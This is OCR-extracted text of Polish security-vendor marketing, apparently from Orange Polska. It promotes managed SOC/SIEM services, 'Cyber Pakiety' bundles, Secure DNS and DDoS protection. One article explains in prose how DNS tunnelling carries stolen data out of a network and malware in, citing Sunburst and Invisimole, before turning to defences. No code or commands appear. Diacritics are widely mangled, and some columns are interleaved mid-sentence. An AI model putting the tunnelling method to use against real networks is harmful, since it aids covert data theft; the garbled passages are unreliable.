Security Operations Center. Wielu z nich szuka
oferty przede wszystkim tanszej, lecz niekoniecznie
najlepszej i sprawdzonej w dziataniu.

Doswiadczenie w bezposrednich rozmowach

z klientami na temat ré6znych rozwiagzan w zakresie ICT,
a przede wszystkim cyberbezpieczenstwa, nauczyto
mnie dokfadnie stucha¢ ich wymagan i oczekiwan.
Wykreowato takze wizje budowy ustug w obszarze
SOC dopasowanych praktycznie do kazdego

rodzaju potrzeb.

Jak stworzy¢ oferte,
ktora bedzie taczyta
najwyzszej jakosci ustugi
wraz z zaawansowana
technologia, a do tego

w przystepnej cenie?

Aby zrealizowac¢ takie wyzwanie niezbedny okazat

sie zespét — catkiem inny niz pozostate. Zespét Next
Generation Security Operations Center, ktdérego
dziatanie wspiera elastyczna i nowoczesna technologia.

Szybka detekcja i reakcja na zagrozenia, to kluczowe
parametry okreslajgce efektywnos$¢ rozwigzan Security
Operations Center (SOC).

Mam tu na mysli potaczenie ludzi i technologii
opierajacej sie na automatyzaciji, wykorzystujacej
uczenie maszynowe (machine learning), ktére moze
identyfikowaé niespotykane wczesniej metody ataku.

Menedzerowie SOC borykaja sie z ograniczonymi
budzetami oraz brakiem wystarczajgcych kompetenciji
na rynku pracy. Dodajac do tego nowe konstrukcje
atakéw cyberprzestepcow otrzymujemy zadanie

z cyklu ,,Mission Impossible”

Security Operations Center pracuje ciezej niz
kiedykolwiek, aby chroni¢ organizacje naszych klientow
przed zaawansowanymi cyberatakami, z ktérymi nie

da sie juz walczy¢ tradycyjnymi narzedziami i metodami.
Nasi klienci wymagaja nie tylko doswiadczenia, ale tez
zastosowania najnowoczesniejszych rozwigzan
technologicznych — nowej generacji systeméw

klasy SIEM.

Podczas implementacji SIEM/SOC nasi eksperci
spotykaja sie z coraz wigkszg liczbg potagczonych
urzadzen, skomplikowanag architektura teleinformatycznag
oraz olbrzymia ilo$cig gromadzonych danych.

Najczesciej towarzyszy im dodatkowo szum informacyjny,
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utrudniajgcy ich efektywng analize. Liczba wektorow
ataku bywa wprost proporcjonalna do liczby technologii
wykorzystywanych w danej organizaciji. Niestety
bardzo czesto cyberprzestepcy wyprzedzajg dziatania

i majgc wiedze o naszych stabosciach skutecznie jg
wykorzystuja.

Presja na SOC tylko sie pogtebia wraz ze wzrostem
oczekiwan i przepisdéw dotyczacych zgodnosci (compliance),
podczas gdy przestepcy nie znajg granic i nie maja
ograniczen, wybierajgc najskuteczniejszg metode ataku.

Wyzwanie dla Next Generation
Security Operations Center?

Z jednej strony naturalng drogg jest wykorzystanie
potgczonego ze sobg szeregu rozwigzan
cyberbezpieczenstwa, ale jest to kosztowne, a analitycy
SOC tracg czas na przetgczanie sie miedzy nimi.

Dzi$ zespoty SOC borykajg sie z problemem wydajnosci.
Analitycy chronia coraz wiekszg liczbe danych za pomoca
nieefektywnych narzedzi, ktére czesto nie komunikuja

sie ze soba.

Jak poradzi sobie z tymi wyzwaniami
oferta Next Generation SOC?

Wyrdzniki naszej ustugi powstaty na bazie wieloletnich
doswiadczen w implementacji rozwigzarn SOC/SIEM
i obstugi naszych klientéw.

Twoja obecna technologia musi dla Ciebie
pracowac¢ w 100%

Srodowisko jakie posiadasz jest gléwmy zrédtem
informacji i stanowi podstawe analizowanych

i obserwowanych danych w Next Generation SOC
w Orange. Nie ograniczaj sie do tych podstawowych
i najczesciej wystepujacych zdarzen w Twoich
systemach operacyjnych. Rozszerzymy ich
widocznosé, uzywajac gotowych konektoréw

do systeméw dziedzinowych. Dla pozostatych
systeméw zastosujemy analize struktury ich logdéw
w celu integracji ich danych z proponowana
technologig. Wykorzystamy najlepsze praktyki m.in.
MITRE ATT&CK® i gotowe pakiety wspierajagce ten
obszar.

Wspieramy Azure, Google, AWS i innych
optymalizujgc implementacje rowniez od strony
kosztowej w posiadanej przez Ciebie chmurze.

Wykorzystanie sztucznej inteligenciji

Dzieki wyspecjalizowanym silnikom uczenia
maszynowego - W zarzgdzaniu informacjami z naszej
sieci oraz z innych organizacji wspdtpracujacych, m.in.
zespotéw CERT na catym $wiecie.

Koniecznos$¢ obstugiwania tysiecy alertéw dziennie,
weryfikowanie ich wagi oraz eliminac;ji fatszywych
alarméw - Big Data — to ogromne wyzwanie.
Zastosowanie automatycznych mechanizmoéw
uczenia maszynowego jest jedynym rozsgdnym
usprawnieniem dla walidacji i priorytetyzacji

przy mnogosci wystepowania alertow.

Oznacza to, ze detekcja bedzie mniej zalezna

od umiejetnosci, doswiadczenia i dostepnosci
analityka bezpieczenstwa. Zapewni to wysoka
jakos$¢ ustugi SOC.

Niskie koszty w modelu SaaS lub mieszanym

Standaryzacja zagadnien bezpieczenstwa na poziomie
Unii Europejskiej, jak i lokalnego Regulatora, naktadajg
na organizacje wymég dbania o bezpieczenstwo

,by Design” oraz uruchomienie w krétkim czasie
monitorowania bezpieczenstwa kluczowych

procesow biznesowych.

Ale czy jest to mozliwe w krétkim czasie?

Korzystajac z Next Generation SOC od Orange

w modelu Security Service Provider - w ktérej
dostarczamy Security Information and Event
Management (SIEM aaS) wraz z zaawansowanymi
ustugami SOC - bedzie to mozliwe.

W tym modelu nie ma implementaciji i instalacji
Srodowiska w Twojej lokalizacji. Wykorzystujemy
platforme SIEM w modelu Multi-Tenant przeznaczajgc
dla Twojej firmy jej bezpieczny obszar.

Wszelkie aktualizacje, jak i dbanie o poprawnos¢
dziatania platformy SIEM oraz aktualizowanie regut
bezpieczenstwa — nie zaprzatajg Ci gtowy. Jestes

5.

przez nas na biezgco informowany o rozwoju ustugi.
Nasza platforma jest rowniez w petni przystosowana
do chmury i co najwazniejsze rozliczamy sie

Z rzeczywistego jej zuzycia.

Dostepnos$¢ w naszej ofercie ustug wykorzystujgcych
gotowe platformy SIEM i SOAR oraz doswiadczenie
pracy SOC, pozwala klientom skorzysta¢ z gotowego
procesu w tym scenariuszy bezpieczenstwa czy
procedur procedur reakcji.

Dla klientéw wymagajacych modelu hybrydowego
oferowana przez nas technologia moze
by¢ instalowana lokalnie (on-premise).

Feed dla Next Generation SOC

Czyli wykorzystanie globalnie dostepnych baz
wiedzy o taktyce i technikach przestepcow, opartg
na obserwacjach w swiecie rzeczywistym takich
jak MITRE ATT & CK, MISP.

Nasza oferta systemu SIEM posiada gotowe
mechanizmy mierzenia zasiegu ataku i wykrywania
luk w jego identyfikacji, co pozwala mu doskonali¢
nasze ustugi oraz poprawiaé skutecznos¢ SOC
Orange Polska. Mozna to osiagnaé poprzez
gotowe mechanizmy wbudowane w SIEM

w celu symulacji wiaman i atakéw, aby cyklicznie
sprawdzaé pokrycie technologii uzywanych

w SOC. Symulacje te moga potwierdzi¢ zdolnosé
SOC do wykrywania okreslonych

cyberkampanii.

Unikalno$¢ naszej oferty to réwniez wykorzystanie
naszych loC (Indicator of Compromise) dostarczanych
codziennie przez zespdt CERT Orange Polska.
Informacje o zagrozeniach, wykryte kampanie
malware’owe i phishingowe uzupetniaja uzgadniane

z klientem scenariusze bezpieczenstwa.

Automatyczna reakcja na zagrozenia

Realizowana przez zintegrowany modut Security
Orchestration Automation and Response (SOAR)

z ofertg SIEM. To hybryda, ktéra znacznie przyspieszy
czas odpowiedzi i spowoduje zmnigjszenie
negatywnych skutkéw ataku. W codziennej pracy

to olbrzymia oszczednos$é¢ czasu dla SOC i mozliwosé
przeznaczenia go na inne zadania. Wymaga
doswiadczenia i umiejetnosci, ogranicza procesy
reczne i skraca czas reakcji na fatszywe alarmy.

Monitorowanie OT

Oferta w zakresie monitorowania bezpieczenstwa
uwzglednienia obszar Operational Technology
naszych klientéw. Integrujemy naszg technologie

Z najnowoczesniejszymi rozwigzaniami dla sieci
przemystowych. Obecnie, kiedy zagrozenia kierowane
na przemyst sg faktem, a prawo wymaga zadbania

o cyberbezpieczenstwo przemystu, nasza oferta musi
to uwzgledniaé. Integracja zdarzenia z notyfikacja
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SOC moze byé odpowiedzig na potrzeby klienta

w celu uruchomienia procesu statego monitorowania.

Nasze doswiadczenie w realizacji ustug SOC

i SIEM to ponad 10 lat. Mamy wypracowane setki
scenariuszy bezpieczenstwa gotowych do uzycia.
To wynik wspétpracy z klientami z réznych rynkéw
i branz — banki komercyjne, lotniska, duze i $rednie
organizacje publiczne oraz prywatne. Doskonale
wiemy czego potrzebujg nasi klienci, co przektada
sie na oferte Orange. Pozwala to sprostaé
wspotczesnym wyzwaniom zwigzanym z
cyberbezpieczernstwem. Nowoczesne firmy
wymagaja rozwiazania, ktére pozwoli zmniejszyé
liczbe oséb niezbednych do wdrozenia,
monitorowania i reagowania na incydenty
bezpieczenstwa.

Klienci potrzebujg roznych modeli dostarczania ustugi,
licencji i zasobdw oraz intuicyjnego i skutecznego
interfejsu zabezpieczen, aby natychmiast reagowac
na zagrozenia. Chca fatwiej identyfikowaé incydenty
zwigzane z wyciekiem danych, blokowaniem ustug,
paralizem firmy. SOC nowej generacji wymaga
nowoczesnego SIEM.

Trzy kluczowe elementy, ktére w ramach
Next Generation SIEM dostarczamy klientom:

1. Wykorzystanie wszystkich danych z monitorowanej
infrastruktury, ktére gromadzimy w rozwigzaniu klasy
log management,

2. Skuteczna analiza danych: wspétczesne
cyberzagrozenia s3 trudne do wykrycia

i wymagajg warstwowej analizy, aby je zidentyfikowac.
Nasze rozwigzania w modelu Managed Security
Service Provider (MSSP) lub integracyjnym
(on-premise) obejmuje wiele metod wykrywania,
upraszczajgc proces ich implementaciji,

Szybkie i inteligentne reagowanie na zagrozenia:
platforma SIEM wykorzystywana przez Orange
niezwtocznie reaguje na zagrozenia, gdy tylko zostang
wykryte. Notyfikuje i przekazuje klientowi alerty,

a nasi eksperci przeprowadzajg skuteczne
dochodzenie.

Site Next Generation SOC oparliSmy na nowoczesnej
platformie SIEM wraz z modutami:

poteznym i wielozadaniowym silniku korelacyjnym
wraz z Mitre Att&ck i MISP

rozwigzaniu SOAR jako modut automatyzujacy
procesy w SOC

log management

User Behavior Analytics (UBA) w celu szczegétowych
analiz zachowan uzytkownikéw

implementacjg Mitre Att&ck w Arcsight

Najnowoczesniejsza technologia w potgczeniu
z do$wiadczeniem SOC i CERT Orange Polska zapewnia
najlepsza ochrone, jaka moze uzyskac Twoja firma.

Zapraszam do wspoipracy.

Rafat Wiszniewski

Srodowisko jakie posiadasz jest gtéwmy zrodiem informaciji i stanowi podstawe analizowanych

i obserwowanych danych w Next Generation SOC w Orange. Nie ograniczaj sie do tych podstawowych
i najczesciej wystepujacych zdarzen w Twoich systemach operacyjnych. Rozszerzymy ich widocznosé,
uzywajgc gotowych konektorow do systeméw dziedzinowych. Dla pozostatych systemoéw zastosujemy
analize struktury ich logéw w celu integracji ich danych z proponowana technologia.

Wykorzystamy najlepsze praktyki m.in. MITRE ATT&CK® i gotowe pakiety wspierajace ten obszar.

Wspieramy Azure, Google, AWS i innych optymalizujgc implementacije réwniez od strony kosztowej
w posiadanej przez Ciebie chmurze.
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Cyber Pakiety - Twoj ekspert bezpieczenstwa

Cyberbezpieczenistwo czasami moze sie wydawaé
~zabawag” dla wielkich, bogatych i poteznych.
Powszechnie styszy sie o wyciekach milionow
rekorddw, przerwanej pracy $wiatowych gigantéw,
atakach grup APT (wlamywaczy pracujgcych zazwyczaj
na zlecenie rzgdéw) dziatajgcych na zlecenie rzadéw,
wielkich okupach i karach regulatoréw idgcych

w miliony... O mniejszych, mniej rozpoznawalnych
podmiotach na co dzien nie styszymy, mimo ze

takie incydenty zdarzajg sie niemal codziennie.

A celem moze by¢ absolutnie kazdy.

~Kryptowaluty nie $mierdza”, jak zapewne uwaza
wiekszos$¢ przestepcow.

Pewna dodatkowa ,ekskluzywnos$¢” tego zagadnienia
podnosi kwestia kosztéw. Testy penetracyjne, audyty,
wdrozenia SZBI, programy zwiekszania $wiadomosci...
- indywidualne projekty tego typu moga wigzaé sie

z jednorazowym wydatkiem, ktéry mimo iz warty jest
kazdej ztotowki, to jednak czasami przekracza poziom
komfortu os6b decyzyjnych. Sformutowania ,,tanio”
oraz ,bezpiecznie” sg i powinny by¢ postrzegane jako
przeciwienstwa. Nie znaczy to jednak, ze mniejsze
podmioty musza catkowicie zrezygnowaé z marzen

o tym by cos$ zrobi¢ z nalezyta starannoscia lub do
samotnej walki z cyberprzestepcami. Nie oznacza, ze
~Cyberbezpieczenstwo” powinno by¢ domeng jedynie
najwiekszych bankdw, firm energetycznych czy
telekomunikacyjnych.

To podejscie stato sie fundamentem, na bazie ktérego
przygotowali$my zupetnie nowg ustuge - Cyber Pakiet.

W Cyber Pakietach zgromadzilismy kilkanascie
profesjonalnych ustug z zakresu cyberbezpieczenstwa,
ktére naszym zdaniem powinny ,,zej$¢ pod

strzechy” — spowszechnie¢ na tyle by wiekszos¢

firm zaczeta z nich korzysta¢. Podzielilismy

je 5 kategorii.

Pierwsza to skanowanie podatnosci. Luki

w oprogramowaniu stanowig jeden z gtéwnych
wektoréw ataku. Bardzo tez utatwiajg przestepcom
panoszenie sie po infrastrukturze, gdy juz uda im sie
uzyskac dostep. Stad regularne wyszukiwanie luk,
sprawdzanie co moze fatwo ,wypatrzy¢” przestepca
jest tak wazne. W ramach ustugi wykorzystujemy
rozwigzanie taczgce funkcjonalnosci narzedzi
komercyjnych i darmowych, wszystko skonfigurowane
przez ekspertow Orange, tak by wykry¢é mozliwie
wiele probleméw technicznych, a jednoczesnie nie
uszkodzi¢ badanej infrastruktury. Wszystkie notyfikacje
generowane okresowo przez system powinny byc¢
bezzwtocznie zaadresowane przez klienta — skoro

my je widzimy to moga je réwniez zobaczy¢

i wykorzystac przestepcy.
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Druga kategoria dotyczy statego monitorowania
reputacji. W odrdznieniu od poprzedniej ustugi — cyklicznie
uruchamianych skanéw, ustugi z tej kategorii realizowane
sg na biezaco. Kilka razy dziennie staramy sie wyszukiwaé
rézne, potencjalnie niebezpieczne zdarzenia.

A gdy tylko co$ potencjalnie niebezpiecznego wykryjemy,
przekazujemy informacje klientom. Koncentrujemy

sie na wyszukiwaniu najprostszych kwestii, ktére jednak
moga prowadzi¢ do najpowazniejszych probleméw.

Gdy domena lub IP firmy trafi na ktoras z dziesiatek list
»hiskiej reputacji (RBL — Realtime Blocking List) wysytana
poczta potrafi przesta¢ dociera¢ do odbiorcow, a wizyta
na jej witrynie www potrafi by¢ utrudniona lub wrecz
niemozliwa. Gdy organizacja zapomni odnowi¢ domene
lub certyfikat SSL to klienci nie moga skontaktowaé

sie z firmg. Gdy wyciekna hasta skojarzone z firmowymi
adresami poczty elektronicznej — niekoniecznie
bezposrednio z firmy, mozna sie spodziewaé prob
przejecia kont. A gdy w internecie generowane sg
certyfikaty SSL o nazwach do ztudzenia przypominajacych
domene klienta to mozna spodziewac sie ataku — albo

na klientéw, albo celowanego ataku na samg firme.

Na podstawie generowanych przez nas informaciji klienci
beda wiec w stanie szybko zareagowac na rézne
zblizajgce sie zagrozenie.

Trzecia z kategorii ustug dotyczy zwiekszania
Swiadomosci pracownikéw. Koncentrujemy sie tu

na kilku grupach odbiorcéw. Osoby odpowiedzialne za IT

i bezpieczenstwo otrzymuja od nas cykliczny biuletyn,

w ktérym informujemy o najwazniejszych zagadnieniach
dotyczgcych cyberbezpieczenstwa, o ktérych warto
wiedzie¢. Udostepniamy dodatkowo materiaty, ktére moga
by¢ rozpowszechniane wsrdd pracownikéw, by dowiedzieli
sie 0 bezpiecznych zasadach pracy czy tez sposobach
dziatania przestepcéw. Przeprowadzamy symulacje atakéw
socjotechnicznych, w trakcie ktorych pokazujemy jak moze
wygladac rzeczywisty atak, demonstrujemy jak na co dzien
oszukuije sie nieswiadomych pracownikéw. Planujemy

i prowadzimy wydarzenia promujgce cyberbezpieczenstwo
w organizacji. Dla najwyzszej kadry zarzadzajgcej
przygotowali$my sesje szkoleniowe, w trakcie

ktérych dzielimy sie doswiadczeniami z zarzadzania
bezpieczenstwem.

Czwarta kategoria ustug polega na testach
penetracyjnych, czyli recznej prébie wykrycia btedow
konfiguracyjnych, btedéw logicznych i zaniedban.

W zaleznosci od pakietu kilka razu w roku przeprowadzany
tzw. rekonesans, czyli wyszukujemy informacje, ktére
moga pomadc przestepcom w udanym ataku. Testujemy
tez, w ramach limitu godzin, wskazane, najbardziej istotne
obszary infrastruktury klienta. Cykliczno$¢ procesu
powoduje, ze z czasem, w ten sposdb mozna wykryé
btedy bezpieczenstwa w catej infrastrukturze klienta.

Przygotowywane raporty z rekomendacjami
powinny postuzyé do sprawnej eliminacji wykrytych
luk bezpieczenstwa.

Piata kategoria ustug dotyczy wsparcia eksperta
bezpieczenstwa. Oferujemy dwa rodzaje takiego
wsparcia. Przede wszystkim proponujemy przeglad
bezpieczenstwa, czesto (nie do korica poprawnie)
okreslany jako audyt. Bazujac na powszechnie
obowigzujacych najlepszych praktykach zarzadzania
bezpieczenstwem informacji okreslanych norma

ISO 27001 identyfikujemy potencjalne problemy

w procesach IT i biznesowych, ktére moga doprowadzic¢
do incydentéw. Dajemy klientom mozliwos$¢ skorzystania
z bezposredniego wsparcia doswiadczonych ekspertéw
bezpieczenstwa, przez okreslong liczbe dni.

W wielu organizacjach eksperci ds. cyberbezpieczenstwa
nie sg potrzebni na petny etat. Czesto organizacje majg
zresztg problem z ,,konsumpcja” rezultatow prac.

Samodzielne wykonywanie tych ustug jest niestety
bardzo czasochtonne. A to prowadzi do btedow,
awarii i innych incydentéw. Proponowane w Cyber
Pakietach ustugi stanowig wiec fundamenty, na bazie
ktérych mozna budowac¢ bezpieczne organizacje.

Cyber Pakiety

pomagaja organizacjom
zapobiega¢ zagrozeniom
oraz je wykrywac.
Mozolng, konsekwentna
prace bierzemy

na siebie, umozliwiajac
klientom koncentracje
przede wszystkim

na tym co jest
najistotniejsze

- na reagowaniu

na wykryte problemy.

Cyber Pakiety pomagaja organizacjom zapobiegac
zagrozeniom (prewencja) oraz je wykrywac (detekcja).
Zaniechania mogg sie zemsci¢ w bardzo brutalny
sposdb. Mozolna, konsekwentnag prace bierzemy
wiec na siebie, umozliwiajgc klientom koncentracje
przede wszystkim na tym co jest najistotniejsze

— na reagowaniu na wykryte problemy.

Cyber Pakiety nie sa i nie powinny by¢ postrzegane
jako ,magiczne pudetko”, ktére nagle spowoduije,
ze organizacja bedzie bezpieczna a swiat stanie sie
piekny. Jest to jednak jeden z elementéw uktadanki,
ktéra w potaczeniu z innymi zabezpieczeniami moze
do tego doprowadzi¢. Cyber Pakiety doskonale
komponujg sie z innymi oferowanymi przez Orange
rozwigzaniami, takimi jak CyberTarcza,

Orange Network Security czy Orange Internet
Protection.

Kazda z ustug adresuje inne zagrozenia, ktérych
peten jest internet. Jest to nowatorskie podejscie,
ktére zamienia ustugi profesjonalne na towar
codziennego uzytku.

Jakub Syta

Cyber Pakiety

doskonale
komponuja sie

z innymi oferowanymi
przez Orange
rozwiazaniami,

takimi jak:

CyberTarcza,

Orange Network

Security
czy

Orange Internet
Protection.
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Zadbaj o bezpieczenstwo & )
firmowej sieci z ustuga
Cyber Pakiet

Cyber Pakiet to zestaw profesjonalnych ustug,

dzieki ktérym na biezaco bedziemy monitorowacé
bezpieczenstwo Twojej infrastruktury, wykrywa¢ luki
i pomagacé Ci budowacé bezpieczna organizacje.

Skany podatnosci

£ Ztozonos¢é systemow teleinformatycznych wptywa na powstawanie btedéw.
Dzieki regularnym skanom wskazemy te luki i btedy konfiguracyjne w Twojej infrastrukturze,
ktére z duzym prawdopodobienstwem moga zostaé wykorzystane podczas cyberatakéw.

Ochrona reputacji

Dziatalnos$¢ cyberprzestepcow, a nawet zwykie btedy w zakresie nadzoru nad systemami IT moga
wplynaé na wizerunek Twojej organizacji. Narzedzia opracowane przez ekspertéw CERT Orange
Polska beda monitorowacé, czy nie wydarzyto sie cos istotnego, na co powinienes zareagowac.

Ko

Testy penetracyjne

By sprawdzic, jak bardzo skomplikowane jest wltamanie sie do Twojej infrastruktury, trzeba
mysle¢ jak haker i stosowaé odpowiednie techniki. Etyczni hakerzy pracujacy dla CERT Orange

Polska sprawdza bezpieczenstwo wskazanych przez Ciebie najbardziej istotnych webaplikaciji
lub innych elementéw infrastruktury.

——3

Budowanie swiadomosci

R Cyberprzestepcy stosuja na co dzien szereg technik majacych na celu oszukanie swoich ofiar.

O Nauczymy Cie, jak je rozpoznawag i jak na nie reagowaé. W ramach testéw sami mozemy wcielié¢
sie w role atakujacych i potwierdzi¢, w jakim stopniu Twoi pracownicy sa podatni na ataki
inzynierii spotecznej.

Wsparcie eksperta bezpieczenstwa

Wiele awarii, atakéw i btedéw ma swoje zrédta w tym, jak nadzoruje sie systemy informatyczne

w Twojej organizacji. Nasi eksperci dokonaja przegladu zarzadzania bezpieczerstwem informacji
oraz beda Ci doradzacé¢ w zakresie planowania i prowadzenia programoéw bezpieczenstwa,
identyfikaciji ryzyka, tworzenia wymagan bezpieczenstwa, utwardzania proceséw, a nawet
zarzadzania incydentami.

Orange. Partner
cyfrowej transformacji
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DNS w ukrytej komunikacji

Rok 2020 byt wyjatkowo obfity w réznego rodzaju ataki
wykorzystujace protokét DNS. Mozemy je podzielié

w zaleznosci od sposobu wykorzystania DNS przez
przestepcow:

1. techniki uzywajace systemu DNS zgodnie
Z przeznaczeniem, np. uzyskanie adresu IP dla
nazwy domenowej (tyle ze ztosliwej strony WWW
czy serwera Command&Control). Wiekszo$¢ ztosliwego
oprogramowania (malware) czy niezliczone kampanie
phishingowe uzywajg DNS w ten sposdéb.

2. wykorzystanie protokotu DNS w celu ukrycia transmisji
danych (tzw. tunelowanie w DNS), np. wyciek danych
wrazliwych, komunikacja sterujgca, $ciggniecie
dodatkowych modutéw malware. Przyktady z 2020r.:
Sunburst, Wellmess, IAmTheKing, Anchor_Linux,
Invisimole, AlinaPOS.

3. wykorzystanie podatnosci w oprogramowaniu serweréw
czy klientdéw DNS (przyktady z 2020r: SigRed, Ripple 20,
Amnesia33)

4. wykorzystanie pewnych cech protokotu badz jego
implementacji w celu przeprowadzenia ataku DDoS
(przyktady z 2020r: NXNS, SAD DNS)

Przypadek Sunburst

Spojrzmy na jedno z najciekawszych zagadnien, czyli
wykorzystanie DNS do ukrytej komunikacji, w tym eksfiltracji
danych. W ten spos6b DNS byt wykorzystany m.in. w ataku
Sunburst.

Eksfiltracja danych polega na przekazywaniu informaciji
(wysytaniu danych) poprzez zapytania DNS z wnetrza sieci
celu na zewnatrz. Atakujacy rejestruje domene i kieruje jej

obstuge na wiasne serwery DNS. Nastepnie z zainfekowanej
maszyny z danymi wrazliwymi wysyfa zapytania DNS

o poddomeny w swojej zarejestrowanej wczesniej domenie.
Eksfiltracja odbywa sie w przesytanych zapytaniach. Dane
moga by¢ zakodowane w zapytaniach DNS za pomocg

liter, cyfr i znakdw ,,-” oraz ,,_” uzywajgc algorytmu takiego
jak Base16, Base32 czy Base64. Kazda zakodowana porcja
danych moze by¢ wystana jako zapytanie w formacie
<dane>.domena. Zapytania najczesciej sg wysytane

do domysInego serwera DNS w organizaciji ofiary. Ten z kolei
przeprowadza proces rozwigzywania nazwy w Internecie

w efekcie przesytajgc zapytanie finalnie do autorytatywnego
serwera DNS atakujgcego. Serwer ten odbiera zakodowane

fragmenty, ponownie sktada dane, dekoduje i ew. deszyfruje.

Ponizszy rysunek przedstawia schemat dziatania eksfiltraciji
danych przez DNS.

Schemat ataku Sunburst. Zrédio: opracowanie wtasne

Attacker’s
DNS Server

DNS server
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W przypadku tego ataku, zapytania DNS zawieraty
informacje identyfikujace organizacje ofiary (w postaci
nazwy domeny wewnetrznej) oraz status dziatania
okreslonych rozwigzan ochrony. Dane te byty
zakodowane algorytmem Base32 z niestandardowym
zestawem znakdéw w celu utrudnienia dekodowania.
Dodatkowo byty ograniczone w dtugosci tak, aby

nie wyrézniaty sie pod tym wzgledem od innych
typowych zapytah DNS. Adresy IP w odpowiedziach
na te zapytania nie byty traktowane jako faktyczne
adresy IP, ale jako kody méwigce co robi¢ dalej.
Dodatkowo atakujgcy dobrali tutaj zakresy adreséw IP
stosowane przez takie firmy jak Amazon, Google

czy Microsoft, aby nie wzbudzaé nimi podejrzen.

Infiltracja DNS

Innym sposobem tunelowania DNS jest infiltracja.
Polega ona na przekazywaniu informacji w formie
odpowiedzi na zapytania DNS z Internetu do wnetrza

proxy jest bardzo wazng cecha dziatania protokotu
DNS, bardzo czesto wykorzystywana w ztych celach
przez atakujgcych.

Mozliwosci blokowania tunelowania
DNS - rozwigzanie IS

Najlepszym sposobem blokowania tunelowania DNS
jest uruchomienie mechanizméw bezpieczerstwa
bezposrednio na serwerze DNS, czyli tzw. system klasy
Secure DNS.

Proby blokowania eksfiltracji np. na firewallu maja te
wade, ze z reguty nie sg w stanie wskazac jej zrodta.
Zapytania DNS z zainfekowanego komputera sg bow-
iem przesytane do lokalnego serwera DNS. Nastepnie
tworzy on na ich bazie nowe pakiety ze swoim adresem
zrodtowym i przesyta do Internetu poprzez firewalla.
Firewall nie widzi wiec adresu zrédtowego zainfekow-
anego komputera, a jedynie adres lokalnego serwera
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organizacji celu. Dane moga by¢ przesytane w réznych  DNS. Niestety DNS sinkholing tez tu nie pomoze, ™\
rekordach DNS, np.: A, AAAA, MX, CNAME, poniewaz przy eksfiltracji nie mamy do czynienia z ( ]
TXT czy NULL. nawiazywaniem ruchu przez stacje na bazie odpowiedzi °
z firewalla — to same zapytania DNS stanowig tutaj ruch °ﬁ°

Przyktadem jest tutaj atak Invisimole wycelowany z danymi. °
w sektor wojskowy w Europie Wschodniej
- zainfekowana maszyna byta w stanie Sciagna¢ Nasze rozwigzanie klasy Enterprise, realizuje funkcje i
nowe moduty malware, nawet gdy nie miata dostepu monitorowania protokotu DNS i potrafi blokowaé Network IT Infras_truc_ture Endpo_lnt
do internetu. Wystarczyto, ze byta w stanie wysta¢ komunikacje malware, w oparciu na: Securlty & Appllcatlon Secu I’Ity
zapytanie DNS do lokalnego serwera DNS. .
Ten przesytat je dalej przez internet do serwera 1. Bazie reputacji domen i adreséw IP Secu rlty
atakujacego. Odpowiedz z tego serwera, zawierajgca 2. Bazie sygnatur ataku
w rekordzie NULL lub AAAA kawatek nowego, 3. Analizie behawioralnej zapytan DNS
ztosliwego kodu, byta przesytana przez lokalny DNS a PY
do zainfekowanej maszyny. Komunikacja w formie Piotr Litwiniuk * L4 L

—— ° °

GDPR
— *e®

Data GDPR Security
Leakage Compliance Analysis
Prevention & Management

Integrated Solutions specjalizuje sie w zapewnianiu ochrony w obszarze procesoéw przetwarzania informacji
i interakcji w sieciach teleinformatycznych. Firma na co dzien wspdtpracuje z globalnymi producentami
rozwigzan cyberbezpieczenstwa, jak Cisco, Check Point, F5 Networks, Palo Alto Networks, Fortinet

czy FireEye.

W zakresie Secure DNS partnerem Integrated Solutions jest Infoblox, Swiatowy lider w tym obszarze,

oJ

posiadajacy ponad 50% udziat w rynku Enterprise DNS/DHCP/IPAM. AntiMalware Cl.OLId loT

,Uzyskanie statusu PLATINUM przez Integrated Solutions potwierdza najwyzszy poziom kompetencii prOteCtlon Securlty Securlty
i doswiadczenia przy realizacji najbardziej ztozonych projektow z obszaru cyberbezpieczenstwa.”
Rafat Szewczyk, Regional Sales Manager Central Eastern Europe.

www.integratedsolutions.pl
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Jak chronic firme mata i duza przed zagrozeniami
w sieci? Jak zabezpieczy¢ instytucje publiczna,

a jak finansowa? - skorzystaj z ustug
cyberbezpieczenstwa Orange Polska

Internet Rzeczy przenika nasze codzienne zycie, a zagrozenia z tym zwigzane sg coraz bardziej odczuwalne. To wyzwanie jesli
chodzi o zapewnienie bezpieczenstwa, zwtaszcza ze wzgledu na staby wcigz poziom zabezpieczen ,inteligentnych” urzadzen
oraz mozliwo$é wykorzystania ich do atakow DDoS. Przeprowadzenie tego typu atakéw jest bardzo kosztowne, mozemy sie
spodziewac rosnacej dostepnosci rozwigzan oferujgcych ataki ,,as-a-service”.

Internetowi przestepcy staja sie coraz bardziej przebiegli i bezwzgledni. Aby im przeciwdziatac, potrzeba wspotpracy firm z ekspertami
od bezpieczenstwa w sieci. Orange Polska oferuje ustugi, dzieki ktérym zminimalizujesz ryzyko w sytuacji wielu rodzajoéw zagrozen.

Ochrona przed atakami DDoS

Co to sa ataki
DDoS (Distributed Rozproszone ataki, ktére majg na celu zablokowanie dostepu do zasobdw, a najczescie;:
Denial of Service): m Ataki na pasmo potrzebne do $wiadczenia ustugi, np. ICMP/UDP,
Ataki na wyczerpanie zasobdéw systemu, np. TCP SYN,
Ataki na aplikacje np. ataki z wykorzystaniem protokotu http, DNS czy protokotéw
aplikacji VolP

Kiedy stosowac: Niedostepno$é ustug w przypadku ataku typu DoS lub DDoS.

Na czym polega: Ochrona zasobdw internetowych klienta przed wolumetrycznymi atakami odmowy dostepu.
Ruch sieciowy jest monitorowany w trybie 24/7/365 pod katem wykrywania anomalii. W przypadku
faktycznego ataku filtrujemy podejrzane pakiety, a do klienta trafia jedynie prawidtowy ruch sieciowy.
Wykorzystywane mechanizmy FlowSpec w sieci Orange pozwalajg na przyjecie i mitygacje atakéw
wolumetrycznych o bardzo duzej wielkosci.

Jak dziata: To potaczenie trzech elementéw: zespotéw SOC i CERT Orange Polska, platformy Arbor Networks,
oraz wykorzystania mechanizméw operatorskich w ruchu krajowym i miedzynarodowym (blackholing,
zarzadzanie konfiguracjg ruterow).

Dla kogo: Dla wszystkich korzystajgcych z sieci internet i posiadajgcych wtasng infrastrukture.

Korzysci: Zapewnienie dostepnosci ustug w internecie
Staty monitoring ruchu i identyfikacja wystapienia potencjalnych zagrozen
Kompetencje specjalistow z Security Operations Center dostepne w trybie 24/7/365
Natychmiastowe odparcie ataku od infrastruktury klienta
Brak koniecznosci inwestowania w odpowiednig infrastrukture i elastyczny model rozliczania

Firewall (Orange Network Security, Zarzadzany UTM)

Na czym polega: Zwieksza bezpieczenstwo korzystania z internetu przez klientéw sktada sie z dwéch komponentow:
